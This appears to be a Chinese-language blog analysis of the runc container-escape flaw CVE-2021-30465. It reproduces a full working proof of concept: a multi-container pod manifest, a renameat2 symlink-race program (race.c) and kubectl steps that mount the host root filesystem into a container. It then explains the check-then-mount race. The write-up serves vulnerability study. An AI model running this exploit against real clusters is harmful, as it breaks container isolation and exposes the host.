runc容器逃逸漏洞分析(CVE-2021-30465)

Posted by kingkk on 2021-06-06

前言

虽然漏洞的利用难度比较高,但是个人感觉还是很有意思的一个洞,值得记录一下。不过分析起来可能会像是一篇译文23333,欢迎直接阅读原文。

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

漏洞利用

1、首先需要创建多个容器,一个正常启动的容器c1,以及多个无法正常启动(即image为donotexists.com/do/not:exist)的容器c2-c20

以及两个volume数据卷teset1和test2,分别挂载在各个容器中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
- name: c2
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
- name: c3
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
... // 省略c4-c20的容器
volumes:
- name: test1
emptyDir:
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"

2、然后准备 一个race.c,并编译成race二进制文件gcc race.c -O3 -o race

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

/* musl libc does not define RENAME_EXCHANGE */
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE 2
#endif

int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1];
char *name2 = argv[2];
char *linkdest = argv[3];

int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0) {
perror("Error open CWD");
exit(EXIT_FAILURE);
}

if (mkdir(name1, 0755) < 0) {
perror("mkdir failed");
//do not exit
}
if (symlink(linkdest, name2) < 0) {
perror("symlink failed");
//do not exit
}

while (1)
{
int rc = syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
}

3、等待c1容器正常启动之后,将race copy至c1中

1
kubectl cp race -c c1 attack:/test1/

4、并且在c1中生成 /test2/test2链接文件,指向根目录/ (这里软链接的文件名务必和数据卷名字相同)

1
2
kubectl exec -ti pod/attack -c c1 -- bash
ln -s / /test2/test2

5、然后在c1容器中启动race二进制

1
2
cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

这里的作用就是起了四个进程,创建mnt-tmpX软链接,指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/,然后通过系统调用renameat2不断交换mntXmnt-tmpX两个文件。

6、然后将原先c2-c20的容器镜像设置回一个正常的容器镜像即可(即让c2-c20容器正常启动)

1
2
3
for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done

此时能看到attack这个pod中的容器全部正常启动

7、然后会有一部分容器的/test1/zzz会被指向宿主机的根目录,至此逃逸成功

1
2
3
4
for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

漏洞分析

可以看出这应该是一个和条件竞争相关的漏洞,因此我们可以简化一下这个流程,来讨论一下逃逸成功的情况。

首先要了解一点,runc在挂载 volumes 时是不允许将软链接挂载至容器中的,因为runc会跟随软链接指向的地址,将宿主机上的目录挂载至容器中。

因此runc会经过一个 securejoin.SecureJoinVFS() 的函数,先对要挂载的目录进行check,然后再进行mount操作。在这期间就会形成一个先后时间差,从而产生条件竞争。从而可能会发生跟随软链接的行为,将宿主机上的目录挂载至容器中,从而产生逃逸。

知道这一点之后,再来看下POC是如何利用这一点的。

首先要确保攻击container(c1)和恶意创建的container都挂载了相同的volumes(test1和test2)

1、c1在test1数据卷下生成一个mntX以及一个指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/mnt-tmpX软链接,然后不断交换mntXmnt-tmpX。并且创建/test2/test2指向根目录。

这里的$MY_POD_UID虽然是在启动时注入的,但实际上可以通过/proc/self/mountinfo来获取

以及这个/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/实际上就是宿主机上当前pod的数据卷目录

2、然后当其余容器正常启动时,就会先去挂载test1数据卷到/test1目录下,然后挂载test2至/test1/mntX

由于共享一个数据卷的原因,c1就会不断更换当前容器的/test/mntX/test1/mnt-tmpX

因而在test2挂载至/test1/mntX时,一开始securejoin.SecureJoinVFS检查时是一个正常的文件,于是通过了检测,进行mount操作。

但是在mount操作时/test1/mntX被更换成了一个指向/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/的软链接。

于是在宿主机上本来是将进行如下操作

1
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX")

跟随软链接之后就变成了

1
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/")

于是相当于test2数据卷覆盖了整个/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/目录,因此再挂载test2数据卷到/test1/zzz目录时,就会进行如下操作

1
mount("/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")

由于之前c1容器创建了/test2/test2指向根目录,因此这里的/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2其实就是一个指向当前宿主机根目录的软链接,于是以上操作就变成了。(这也是为什么要创建和数据卷同名的软链接文件)

1
mount("/", "/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/zzz")

从而将宿主机根目录挂载到了容器的/test1/zzz中,实现了容器逃逸。

最后

感觉还是很有意思的一个洞,很佩服这个黑客的脑洞,以及直接将Google的bounty捐了XD(respect)。

个人认为该漏洞最重要的一步应该莫过于将test2这个数据卷挂载到了一个软链接指定的任意宿主机目录,当然这里选择挂载到了pod数据卷目录。因此别的container挂载数据卷时就会去这个恶意的数据卷目录里去寻找对应目录,然后再利用软链接将宿主机根目录挂载到了容器中,从而实现容器逃逸。

至于利用的话,难点在于需要有容器的发布、挂载和exec权限,以及和恶意容器拥有两个共享的数据卷。

References

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r

https://man7.org/linux/man-pages/man2/rename.2.html